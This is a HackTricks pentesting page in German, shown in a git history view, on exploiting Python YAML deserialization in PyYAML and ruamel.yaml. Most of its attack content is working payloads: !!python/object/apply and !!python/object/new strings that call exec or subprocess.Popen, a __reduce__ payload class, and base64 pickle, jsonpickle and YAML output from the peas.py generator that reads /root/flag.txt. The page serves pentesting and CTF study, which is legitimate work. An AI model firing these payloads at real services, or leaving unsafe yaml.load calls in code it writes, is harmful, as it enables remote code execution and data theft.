hacktricks/pentesting-web/deserialization/python-yaml-deserialization.md

162 lines
7.9 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 15:36:32 +00:00
# Yaml **Deserialisierung**
2024-02-10 15:36:32 +00:00
Die Yaml-Python-Bibliotheken können nicht nur Rohdaten, sondern auch Python-Objekte **serialisieren**:
```
print(yaml.dump(str("lol")))
lol
...
print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l
2024-02-10 15:36:32 +00:00
print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
```
2024-02-10 15:36:32 +00:00
Überprüfen Sie, wie das **Tuple** kein Rohdatentyp ist und daher wurde es **serialisiert**. Das Gleiche geschah mit dem **Range** (aus den Builtins entnommen).
2022-03-21 17:37:28 +00:00
![](<../../.gitbook/assets/image (628) (1).png>)
2024-02-10 15:36:32 +00:00
**safe\_load()** oder **safe\_load\_all()** verwenden SafeLoader und **unterstützen keine Deserialisierung von Klassenobjekten**. Beispiel für die Deserialisierung von Klassenobjekten:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'
print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
2024-02-10 15:36:32 +00:00
Der vorherige Code verwendete **unsafe\_load**, um die serialisierte Python-Klasse zu laden. Dies liegt daran, dass in **Version >= 5.1** das Deserialisieren einer serialisierten Python-Klasse oder Klassenattributs nicht erlaubt ist, wenn beim Laden kein Loader angegeben ist oder Loader=SafeLoader.
2024-02-10 15:36:32 +00:00
## Grundlegender Exploit
2024-02-10 15:36:32 +00:00
Beispiel, wie man einen **Sleep-Befehl ausführt**:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```
2024-02-10 15:36:32 +00:00
## Verwundbare .load("\<Inhalt>") ohne Loader
2024-02-10 15:36:32 +00:00
**Alte Versionen** von pyyaml waren anfällig für Deserialisierungsangriffe, wenn Sie beim Laden von etwas den **Loader nicht angegeben haben**: `yaml.load(data)`
2022-02-18 17:51:13 +00:00
2024-02-10 15:36:32 +00:00
Sie können die **Beschreibung der Schwachstelle hier** finden (https://hackmd.io/@defund/HJZajCVlP)**.** Der vorgeschlagene **Angriff** auf dieser Seite ist:
2022-02-18 17:51:13 +00:00
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
2024-02-10 15:36:32 +00:00
state:
update: !!python/name:exec
2022-02-18 17:51:13 +00:00
```
2024-02-10 15:36:32 +00:00
Oder Sie können auch diese **Einzeiler-Funktion von @ishaack** verwenden:
2022-02-18 18:14:38 +00:00
```yaml
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
```
2024-02-10 15:36:32 +00:00
Beachten Sie, dass Sie in **neueren Versionen** nicht mehr `.load()` **ohne einen `Loader`** aufrufen können und der **`FullLoader`** für diese Art von Angriff nicht mehr anfällig ist.
2022-02-18 17:51:13 +00:00
2022-05-01 13:41:36 +01:00
# RCE
2024-02-10 15:36:32 +00:00
Benutzerdefinierte Payloads können mithilfe von Python YAML-Modulen wie **PyYAML** oder **ruamel.yaml** erstellt werden. Diese Payloads können Schwachstellen in Systemen ausnutzen, die nicht vertrauenswürdige Eingaben ohne ordnungsgemäße Bereinigung deserialisieren.
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess
class Payload(object):
2024-02-10 15:36:32 +00:00
def __reduce__(self):
return (subprocess.Popen,('ls',))
deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)
#!!python/object/apply:subprocess.Popen
#- ls
print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
```
2024-02-10 15:36:32 +00:00
## Tool zum Erstellen von Payloads
2024-02-10 15:36:32 +00:00
Das Tool [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) kann verwendet werden, um Python-Deserialisierungspayloads zu generieren, um **Pickle, PyYAML, jsonpickle und ruamel.yaml** zu missbrauchen:
```bash
2024-02-10 15:36:32 +00:00
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!
2024-02-10 15:36:32 +00:00
cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
2024-02-10 15:36:32 +00:00
- cat
- /root/flag.txt
```
2024-02-10 15:36:32 +00:00
## Referenzen
2024-02-06 15:12:47 +01:00
* [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
* [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>